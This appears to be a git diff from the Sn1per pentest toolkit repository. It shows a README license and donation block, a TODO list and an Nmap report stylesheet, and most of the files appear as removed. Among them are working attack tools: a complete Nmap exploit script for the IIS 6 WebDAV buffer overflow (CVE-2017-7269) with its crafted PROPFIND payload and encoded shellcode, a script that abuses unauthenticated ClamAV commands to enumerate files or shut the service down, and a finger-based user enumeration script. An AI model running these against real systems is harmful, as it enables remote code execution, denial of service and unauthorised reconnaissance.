This software is free to distribute and use with the condition that credit is provided to the creator (@xer0dayz @XeroSecurity), is not renamed and is not for commercial use or resold and rebranded. Permission to distribute any part of the code for sale is strictly prohibited.
|
||||
|
||||
## LOGO:
|
||||
Credit to Sponge Nutter for the original sniper penguin logo.
|
||||
## LEGAL DISCLAIMER:
|
||||
You may not rent or lease, distribute, modify, sell or transfer the software to a third party. Sn1per Community is free for distribution, and modification with the condition that credit is provided to the creator and not used for commercial use. You may not use software for illegal or nefarious purposes. No liability for consequential damages to the maximum extent permitted by all applicable laws. In no event shall XeroSecurity or any person be liable for any consequential, reliance, incidental, special, direct or indirect damages whatsoever (including without limitation, damages for loss of business profits, business interruption, loss of business information, personal injury, or any other loss) arising out of or in connection with the use or inability to use this product, even if XeroSecurity has been advised of the possibility of such damages.
|
||||
|
||||
## DONATIONS:
|
||||
Donations are welcome. This will help fascilitate improved features, frequent updates and better overall support for sniper.
|
||||
- [x] BTC 1Fav36btfmdrYpCAR65XjKHhxuJJwFyKum
|
||||
- [x] ETH 0x20bB09273702eaBDFbEE9809473Fd04b969a794d
|
||||
- [x] LTC LQ6mPewec3xeLBYMdRP4yzeta6b9urqs2f
|
||||
- [x] XMR 4JUdGzvrMFDWrUUwY3toJATSeNwjn54LkCnKBPRzDuhzi5vSepHfUckJNxRL2gjkNrSqtCoRUrEDAgRwsQvVCjZbS3EN24xprAQ1Z5Sy5s
|
||||
- [x] ZCASH t1fsizsk2cqqJAjRoUmXJSyoVa9utYucXt7
|
||||
## COPYRIGHT:
|
||||
The software code and logos are owned by XeroSecurity and protected by United States copyright and/or patent laws of international treaty provisions. All rights reserved.
|
||||
|
|
|
|||
BIN
Sn1per-logo.jpg
BIN
Sn1per-logo.jpg
Binary file not shown.
|
Before Width: | Height: | Size: 38 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 155 KiB |
19
TODO.md
19
TODO.md
|
|
@ -1,19 +0,0 @@
|
|||
###TODO:
|
||||
|
||||
* Implement a module system for running specific commands/modules
|
||||
* Add checks to make sure all commands exist at startup. If not, refer to installer.
|
||||
* Add command line parsing of options/modes
|
||||
|
||||
sniper --target crowdshield.com --workspace crowdshield.com --report --bruteforce --web --recon --portscan
|
||||
sniper --target crowdshield.com --kalionly --offline --webportonly 443
|
||||
|
||||
* Create a sniper-kali release to only use base Kali image toolsets
|
||||
* Check if there's an active internet connection, if not, run offline mode
|
||||
* Add automatic reporting and workspace creation for all scans by default
|
||||
* Add proxy support for all scans
|
||||
* Create uninstall.sh script
|
||||
* Add AWS security checks
|
||||
* Look into adding aquatone
|
||||
* Look into adding gobuster
|
||||
* Update subdomain list with aquatone list
|
||||
* Increase thread count for file/dir brute force
|
||||
|
|
@ -1,243 +0,0 @@
|
|||
local shortport = require "shortport"
|
||||
local vulns = require "vulns"
|
||||
local nmap = require "nmap"
|
||||
local stdnse = require "stdnse"
|
||||
local table = require "table"
|
||||
local io = require "io"
|
||||
local string = require "string"
|
||||
|
||||
description = [[
|
||||
Exploits ClamAV servers vulnerable to unauthenticated clamav comand execution.
|
||||
|
||||
ClamAV server 0.99.2, and possibly other previous versions, allow the execution
|
||||
of dangerous service commands without authentication. Specifically, the command 'SCAN'
|
||||
may be used to list system files and the command 'SHUTDOWN' shut downs the
|
||||
service. This vulnerability was discovered by Alejandro Hernandez (nitr0us).
|
||||
|
||||
This script without arguments test the availability of the command 'SCAN'.
|
||||
|
||||
Reference:
|
||||
* https://twitter.com/nitr0usmx/status/740673507684679680
|
||||
* https://bugzilla.clamav.net/show_bug.cgi?id=11585
|
||||
]]
|
||||
|
||||
---
|
||||
-- @usage
|
||||
-- nmap -sV --script clamav-exec <target>
|
||||
-- nmap --script clamav-exec --script-args cmd='scan',scandb='files.txt' <target>
|
||||
-- nmap --script clamav-exec --script-args cmd='shutdown' <target>
|
||||
--
|
||||
-- @output
|
||||
-- PORT STATE SERVICE VERSION
|
||||
-- 3310/tcp open clam ClamAV 0.99.2 (21714)
|
||||
-- | clamav-exec:
|
||||
-- | VULNERABLE:
|
||||
-- | ClamAV Remote Command Execution
|
||||
-- | State: VULNERABLE
|
||||
-- | ClamAV 0.99.2, and possibly other previous versions, allow the execution of the
|
||||
-- | clamav commands SCAN and SHUTDOWN without authentication. The command 'SCAN'
|
||||
-- | may be used to enumerate system files and the command 'SHUTDOWN' shut downs the
|
||||
-- | service. This vulnerability was discovered by Alejandro Hernandez (nitr0us).
|
||||
-- |
|
||||
-- | Disclosure date: 2016-06-8
|
||||
-- | Extra information:
|
||||
-- | SCAN command is enabled.
|
||||
-- | References:
|
||||
-- | https://bugzilla.clamav.net/show_bug.cgi?id=11585
|
||||
-- |_ https://twitter.com/nitr0usmx/status/740673507684679680
|
||||
-- @xmloutput
|
||||
-- <table key="NMAP-1">
|
||||
-- <elem key="title">ClamAV Remote Command Execution</elem>
|
||||
-- <elem key="state">VULNERABLE</elem>
|
||||
-- <table key="description">
|
||||
-- <elem>ClamAV 0.99.2, and possibly other previous versions, allow the execution
|
||||
-- of the 
clamav commands SCAN and SHUTDOWN without authentication.
|
||||
-- The command 'SCAN' 
may be used to enumerate system files and
|
||||
-- the command 'SHUTDOWN' shut downs the 
service.
|
||||
-- This vulnerability was discovered by Alejandro Hernandez (nitr0us).
</elem>
|
||||
-- </table>
|
||||
-- <table key="dates">
|
||||
-- <table key="disclosure">
|
||||
-- <elem key="year">2016</elem>
|
||||
-- <elem key="day">8</elem>
|
||||
-- <elem key="month">06</elem>
|
||||
-- </table>
|
||||
-- </table>
|
||||
-- <elem key="disclosure">2016-06-8</elem>
|
||||
-- <table key="extra_info">
|
||||
-- <elem>SCAN command is enabled.</elem>
|
||||
-- </table>
|
||||
-- <table key="refs">
|
||||
-- <elem>https://bugzilla.clamav.net/show_bug.cgi?id=11585</elem>
|
||||
-- <elem>https://twitter.com/nitr0usmx/status/740673507684679680</elem>
|
||||
-- </table>
|
||||
-- </table>
|
||||
--
|
||||
-- @args clamav-exec.cmd Command to execute. Option: scan and shutdown
|
||||
-- @args clamav-exec.scandb Database to file list.
|
||||
---
|
||||
|
||||
author = "Paulino Calderon <calderon()websec.mx>"
|
||||
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
categories = {"exploit", "vuln"}
|
||||
|
||||
portrule = shortport.port_or_service{3310, "clam"}
|
||||
|
||||
local function shutdown(host, port)
|
||||
local s = nmap.new_socket()
|
||||
local status, err = s:connect(host, port)
|
||||
if not status then
|
||||
stdnse.debug1("Failed to connect")
|
||||
return nil
|
||||
end
|
||||
status, err = s:send("SHUTDOWN")
|
||||
if not status then
|
||||
stdnse.debug1("Failed to send SHUTDOWN command")
|
||||
return nil
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
---
|
||||
-- scan(host, port, file)
|
||||
-- Sends SCAN %FILE command to clamav.
|
||||
-- If no file is specified, we query a non existing file to check the response.
|
||||
--
|
||||
local function scan(host, port, file)
|
||||
local data
|
||||
local s = nmap.new_socket()
|
||||
local status, err = s:connect(host, port)
|
||||
if not status then
|
||||
stdnse.debug1("Failed to connect")
|
||||
return nil
|
||||
end
|
||||
|
||||
if not file then
|
||||
status, err = s:send("SCAN /trinity/loves/nmap")
|
||||
if not status then
|
||||
stdnse.debug1("Failed to send SCAN command")
|
||||
return nil
|
||||
end
|
||||
|
||||
status, data = s:receive()
|
||||
if status and data:match("No such file") then
|
||||
stdnse.debug1("SCAN command enabled")
|
||||
return true, nil
|
||||
end
|
||||
else
|
||||
status, err = s:send(string.format("SCAN %s", file))
|
||||
if not status then
|
||||
stdnse.debug1("Failed to send 'SCAN %s' command", file)
|
||||
return nil
|
||||
end
|
||||
status, data = s:receive()
|
||||
if status then
|
||||
if data:match("OK") then
|
||||
stdnse.debug1("File '%s' exists", file)
|
||||
return true, true
|
||||
else
|
||||
stdnse.debug1("File '%s' does not exists", file)
|
||||
return true, nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
local function check_clam(host, port)
|
||||
local s = nmap.new_socket()
|
||||
local status, err = s:connect(host, port)
|
||||
if not status then
|
||||
stdnse.debug1("Failed to connect")
|
||||
return nil
|
||||
end
|
||||
status, err = s:send("PING")
|
||||
if not status then
|
||||
stdnse.debug1("Failed to send PING command")
|
||||
return nil
|
||||
end
|
||||
local data
|
||||
status, data = s:receive()
|
||||
if status and data:match("PONG") then
|
||||
stdnse.debug1("PONG response received")
|
||||
return true
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil
|
||||
local scandb = stdnse.get_script_args(SCRIPT_NAME..".scandb") or nil
|
||||
|
||||
if cmd == "scan" and not scandb then
|
||||
return "The argument 'scandb' must be set if we are using the command 'SCAN'"
|
||||
end
|
||||
|
||||
--Check the service and update the port table
|
||||
local clamchk = check_clam(host, port)
|
||||
if clamchk then
|
||||
stdnse.debug1("ClamAV daemon found")
|
||||
port.version.name = "clam"
|
||||
port.version.product = "ClamAV"
|
||||
nmap.set_port_version(host, port)
|
||||
end
|
||||
|
||||
local vuln = {
|
||||
title = 'ClamAV Remote Command Execution',
|
||||
state = vulns.STATE.NOT_VULN,
|
||||
description = [[
|
||||
ClamAV 0.99.2, and possibly other previous versions, allow the execution of the
|
||||
clamav commands SCAN and SHUTDOWN without authentication. The command 'SCAN'
|
||||
may be used to enumerate system files and the command 'SHUTDOWN' shut downs the
|
||||
service. This vulnerability was discovered by Alejandro Hernandez (nitr0us).
|
||||
]],
|
||||
references = {
|
||||
'https://bugzilla.clamav.net/show_bug.cgi?id=11585',
|
||||
'https://twitter.com/nitr0usmx/status/740673507684679680'
|
||||
},
|
||||
dates = {
|
||||
disclosure = {year = '2016', month = '06', day = '8'},
|
||||
},
|
||||
}
|
||||
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
local status, files = nil
|
||||
|
||||
if cmd == "scan" then
|
||||
local file = io.open(scandb, "r")
|
||||
if not file then
|
||||
stdnse.debug1("Couldn't open file '%s'", scandb)
|
||||
return nil
|
||||
end
|
||||
local files = {}
|
||||
local exists
|
||||
while true do
|
||||
local db_line = file:read()
|
||||
if not db_line then
|
||||
break
|
||||
end
|
||||
status, exists = scan(host, port, db_line)
|
||||
if status and exists then
|
||||
table.insert(files, string.format("%s - FOUND!", db_line))
|
||||
end
|
||||
end
|
||||
if #files > 0 then
|
||||
vuln.extra_info = stdnse.format_output(true, files)
|
||||
vuln.state = vulns.STATE.VULN
|
||||
end
|
||||
elseif cmd == "shutdown" then
|
||||
status = shutdown(host, port)
|
||||
if status then
|
||||
vuln.extra_info = "SHUTDOWN command sent succesfully."
|
||||
vuln.state = vulns.STATE.VULN
|
||||
end
|
||||
else
|
||||
status, files = scan(host, port, nil)
|
||||
if status then
|
||||
vuln.extra_info = "SCAN command is enabled."
|
||||
vuln.state = vulns.STATE.VULN
|
||||
end
|
||||
end
|
||||
|
||||
return vuln_report:make_output(vuln)
|
||||
end
|
||||
BIN
bin/dnsdict6
BIN
bin/dnsdict6
Binary file not shown.
|
|
@ -1,30 +0,0 @@
|
|||
#!/bin/bash
|
||||
# fingertool - This script will enumerate users using finger
|
||||
# SECFORCE - Antonio Quina
|
||||
|
||||
if [ $# -eq 0 ]
|
||||
then
|
||||
echo "Usage: $0 <IP> [<WORDLIST>]"
|
||||
echo "eg: $0 10.10.10.10 users.txt"
|
||||
exit
|
||||
else
|
||||
IP="$1"
|
||||
fi
|
||||
|
||||
if [ "$2" == "" ]
|
||||
then
|
||||
WORDLIST="/usr/share/metasploit-framework/data/wordlists/unix_users.txt"
|
||||
else
|
||||
WORDLIST="$2"
|
||||
fi
|
||||
|
||||
|
||||
for username in $(cat $WORDLIST | sort -u| uniq)
|
||||
do output=$(finger -l $username@$IP)
|
||||
if [[ $output == *"Directory"* ]]
|
||||
then
|
||||
echo "Found user: $username"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Finished!"
|
||||
|
|
@ -1,181 +0,0 @@
|
|||
local nmap = require "nmap"
|
||||
local string = require "string"
|
||||
local shortport = require "shortport"
|
||||
local vulns = require "vulns"
|
||||
|
||||
-- NSE Buffer Overflow vulnerability in IIS
|
||||
|
||||
---
|
||||
-- @usage
|
||||
-- ./nmap iis-buffer-overflow <target>
|
||||
--
|
||||
-- @output
|
||||
-- PORT STATE SERVICE
|
||||
-- 80/tcp open http
|
||||
-- | iis-buffer-overflow:
|
||||
-- | VULNERABLE: Buffer Overflow in IIS 6 and Windows Server 2003 R2
|
||||
-- | State: LIKELY_VULNERABLE
|
||||
-- | Risk factor: High CVSS: 10.0
|
||||
-- | Description:
|
||||
-- | Buffer overflow in the ScStoragePathFromUrl function in the WebDAV
|
||||
-- | service in Internet Information Services (IIS) 6.0
|
||||
-- | in Microsoft Windows Server 2003 R2 allows remote attackers to execute
|
||||
-- | arbitrary code via a long header beginning with "If: <http://" in a
|
||||
-- | PROPFIND request, as exploited in the wild in July or August 2016.
|
||||
-- |
|
||||
-- | Original exploit by Zhiniang Peng and Chen Wu.
|
||||
-- |
|
||||
-- | References:
|
||||
-- | https://github.com/edwardz246003/IIS_exploit,
|
||||
-- |_ https://0patch.blogspot.in/2017/03/0patching-immortal-cve-2017-7269.html
|
||||
--
|
||||
|
||||
author = {
|
||||
"Zhiniang Peng", -- Original author
|
||||
"Chen Wu", -- Original author
|
||||
"Rewanth Cool" -- NSE script author
|
||||
}
|
||||
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
|
||||
categories = {"exploit", "vuln", "intrusive"}
|
||||
|
||||
portrule = shortport.portnumber(80, "tcp")
|
||||
|
||||
action = function(host, port)
|
||||
local socket, response, try, catch, payload, shellcode, vulnerable_name
|
||||
|
||||
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
local vuln = {
|
||||
title = 'Buffer Overflow in IIS 6 and Windows Server 2003 R2',
|
||||
state = vulns.STATE.NOT_VULN,
|
||||
risk_factor = "High",
|
||||
description = [[
|
||||
Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0
|
||||
in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning
|
||||
with "If: <http://" in a PROPFIND request, as exploited in the wild in July or August 2016.
|
||||
|
||||
Original exploit by Zhiniang Peng and Chen Wu.
|
||||
]],
|
||||
IDS = {
|
||||
CVE = 'CVE-2017-7269'
|
||||
},
|
||||
scores = {
|
||||
CVSS = '10.0'
|
||||
},
|
||||
references = {
|
||||
'https://github.com/edwardz246003/IIS_exploit',
|
||||
'https://0patch.blogspot.in/2017/03/0patching-immortal-cve-2017-7269.html'
|
||||
},
|
||||
dates = {
|
||||
disclosure = {year = '2017', month = '03', day = '26'},
|
||||
}
|
||||
}
|
||||
|
||||
-- If domain name doesn't exist this line of code takes ip into consideration
|
||||
vulnerable_name = host.targetname or host.ip
|
||||
|
||||
socket = nmap.new_socket()
|
||||
catch = function()
|
||||
socket:close()
|
||||
end
|
||||
|
||||
try = nmap.new_try(catch)
|
||||
try(socket:connect(host, port))
|
||||
|
||||
-- Crafting the payload by parts
|
||||
|
||||
-- Crafting the request with HTTP PROPFIND method
|
||||
payload = 'PROPFIND / HTTP/1.1\r\nHost: ' .. vulnerable_name .. '\r\nContent-Length: 0\r\n'
|
||||
payload = payload .. 'If: <http://' .. vulnerable_name .. '/aaaaaaa'
|
||||
|
||||
-- Random text added to payload (Can be modified only for experimental purposes)
|
||||
payload = payload .. '\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd'
|
||||
payload = payload .. '\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5'
|
||||
payload = payload .. '\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91'
|
||||
payload = payload .. '\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80'
|
||||
payload = payload .. '\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3'
|
||||
payload = payload .. '\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4'
|
||||
payload = payload .. '\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88'
|
||||
payload = payload .. '\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7'
|
||||
payload = payload .. '\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab'
|
||||
payload = payload .. '\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80'
|
||||
payload = payload .. '\xb3\xe3\x95\xb7'
|
||||
|
||||
-- Main payload (Do not edit this part)
|
||||
payload = payload .. '\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6'
|
||||
payload = payload .. '\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88'
|
||||
payload = payload .. '\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5'
|
||||
payload = payload .. '\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83'
|
||||
payload = payload .. '\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d'
|
||||
payload = payload .. '\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7'
|
||||
payload = payload .. '\xa5\x81\xe7\xa9\x90\xe4\xa9\xac'
|
||||
|
||||
payload = payload .. '>'
|
||||
payload = payload .. ' (Not <locktoken:write1>) <http://' .. vulnerable_name .. '/bbbbbbb'
|
||||
|
||||
-- Random text added to payload (Can be modified only for experimental purposes)
|
||||
payload = payload .. '\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6'
|
||||
payload = payload .. '\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5'
|
||||
payload = payload .. '\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7'
|
||||
payload = payload .. '\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5'
|
||||
payload = payload .. '\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5'
|
||||
payload = payload .. '\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4'
|
||||
payload = payload .. '\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6'
|
||||
payload = payload .. '\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7'
|
||||
payload = payload .. '\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3'
|
||||
payload = payload .. '\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5'
|
||||
|
||||
-- Main payload (Do not edit this part)
|
||||
payload = payload .. '\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7'
|
||||
payload = payload .. '\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6'
|
||||
payload = payload .. '\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5'
|
||||
payload = payload .. '\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7'
|
||||
payload = payload .. '\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6'
|
||||
payload = payload .. '\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae'
|
||||
payload = payload .. '\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80'
|
||||
payload = payload .. '\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c'
|
||||
payload = payload .. '\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0'
|
||||
payload = payload .. '\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8'
|
||||
payload = payload .. '\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81'
|
||||
|
||||
-- Shellcode
|
||||
shellcode = 'VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABA'
|
||||
shellcode = shellcode .. 'BAB30APB944JB6X6WMV7O7Z8Z8Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LMX1ZLP0V'
|
||||
shellcode = shellcode .. '3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O0'
|
||||
shellcode = shellcode .. '2LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XKQ3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJZ'
|
||||
shellcode = shellcode .. '2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3ULY7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1'
|
||||
shellcode = shellcode .. 'KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA'
|
||||
|
||||
payload = payload .. shellcode
|
||||
payload = payload .. '>\r\n\r\n'
|
||||
|
||||
-- Exploiting the vulnerability
|
||||
try(socket:send(payload))
|
||||
|
||||
-- We receive a 200 response if the payload succeeds.
|
||||
response = try(socket:receive_bytes(80960))
|
||||
socket:close()
|
||||
|
||||
-- Checking for 200 response in the response
|
||||
local regex = "HTTP/1.1 (%d+)"
|
||||
local status = string.match(response, regex)
|
||||
|
||||
if status == '200' then
|
||||
-- Buffer overflow is successfully executed on the server.
|
||||
vuln.state = vulns.STATE.EXPLOIT
|
||||
vuln.exploit_results = response
|
||||
elseif status == '400' then
|
||||
-- Bad request error is occured because webdav is not installed.
|
||||
vuln.state = vulns.STATE.LIKELY_VULN
|
||||
vuln.exploit_results = "Server returned 400: Install webdav and try again."
|
||||
elseif status == '502' then
|
||||
-- Likely to have an error in the Server Name
|
||||
vuln.state = vulns.STATE.LIKELY_VULN
|
||||
vuln.exploit_results = "Server returned 502: Please try to change ServerName and run the exploit again"
|
||||
elseif status ~= nil then
|
||||
vuln.exploit_results = response
|
||||
end
|
||||
|
||||
return vuln_report:make_output(vuln)
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,281 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<!--
|
||||
Nmap Bootstrap XSL
|
||||
Creative Commons BY-SA
|
||||
Andreas Hontzia (@honze_net)
|
||||
-->
|
||||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
<xsl:output method="html" encoding="utf-8" indent="yes" doctype-system="about:legacy-compat"/>
|
||||
<xsl:template match="/">
|
||||
<html lang="en">
|
||||
<head>
|
||||
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous"/>
|
||||
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous"/>
|
||||
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.10.19/css/dataTables.bootstrap.min.css"/>
|
||||
<script src="https://code.jquery.com/jquery-3.3.1.js"></script>
|
||||
<script src="https://cdn.datatables.net/1.10.19/js/jquery.dataTables.min.js"></script>
|
||||
<script src="https://cdn.datatables.net/1.10.19/js/dataTables.bootstrap.min.js"></script>
|
||||
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
|
||||
<style>
|
||||
.target:before {
|
||||
content: "";
|
||||
display: block;
|
||||
height: 50px;
|
||||
margin: -20px 0 0;
|
||||
}
|
||||
@media only screen and (min-width:1900px) {
|
||||
.container {
|
||||
width: 1800px;
|
||||
}
|
||||
}
|
||||
.footer {
|
||||
margin-top:60px;
|
||||
padding-top:60px;
|
||||
width: 100%;
|
||||
height: 180px;
|
||||
background-color: #f5f5f5;
|
||||
}
|
||||
</style>
|
||||
<title>Scan Report Nmap <xsl:value-of select="/nmaprun/@version"/></title>
|
||||
</head>
|
||||
<body>
|
||||
<nav class="navbar navbar-default navbar-fixed-top">
|
||||
<div class="container-fluid">
|
||||
<div class="navbar-header">
|
||||
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1" aria-expanded="false">
|
||||
<span class="sr-only">Toggle navigation</span>
|
||||
<span class="icon-bar"></span>
|
||||
<span class="icon-bar"></span>
|
||||
<span class="icon-bar"></span>
|
||||
</button>
|
||||
<a class="navbar-brand" href="#"><span class="glyphicon glyphicon-home"></span></a>
|
||||
</div>
|
||||
<div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
|
||||
<ul class="nav navbar-nav">
|
||||
<li><a href="#scannedhosts">Scanned Hosts</a></li>
|
||||
